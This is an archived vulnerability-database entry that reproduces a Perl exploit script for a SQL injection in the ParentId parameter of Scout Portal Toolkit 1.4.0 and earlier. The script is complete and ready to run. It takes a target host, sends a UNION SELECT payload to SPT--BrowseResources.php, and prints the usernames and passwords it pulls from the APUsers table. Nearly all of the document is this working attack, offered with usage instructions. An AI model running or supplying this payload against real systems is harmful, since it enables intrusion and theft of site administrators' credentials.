Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19791
HistoryMay 06, 2008 - 12:00 a.m.

Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit

2008-05-0600:00:00
vulners.com
19

#!/usr/bin/perl

Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit

Discovered & Coded by JosS

Contact: sys-project[at]hotmail.com

Spanish Hackers Team / Sys - Project / EspSeC

http://www.spanish-hackers.com

rgod forever :D

print "\t\t########################################################\n\n";
print "\t\t# Scout Portal Toolkit <= 1.4.0 SQL Injection Exploit #\n\n";
print "\t\t# by JosS #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

if(!$ARGV[0]) {
print "\n[x] Scout Portal Toolkit <= 1.4.0 Remote SQL Injection Exploit\n";
print "[x] written by JosS - sys-project[at]hotmail.com\n";
print "[x] usage: perl xpl.pl [host]\n";
print "[x] example: http://localhost/path/&#92;n&#92;n&quot;;
exit(1);
}

print &quot;&#92;n[+] Exploiting...&#92;n&quot;;
my $cnx = LWP::UserAgent-&gt;new&#40;&#41; or die;
my $go=$cnx-&gt;get&#40;$victim.&quot;/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concat&#40;UserName,char&#40;34&#41;,UserPassword&#41;,6,7,8+from+APUsers/*&quot;&#41;;
if &#40;$go-&gt;content =~ m/APUsers&#92;/&#92;*&#92;&#39; class=&#92;&#39;&#92;&#39;&gt;&#40;.*?&#41;&#92;&lt;&#92;/a&gt;/ms&#41;

{
print "[+] $1\n\n";
} else {
print "\n[-] exploit failed\n";
}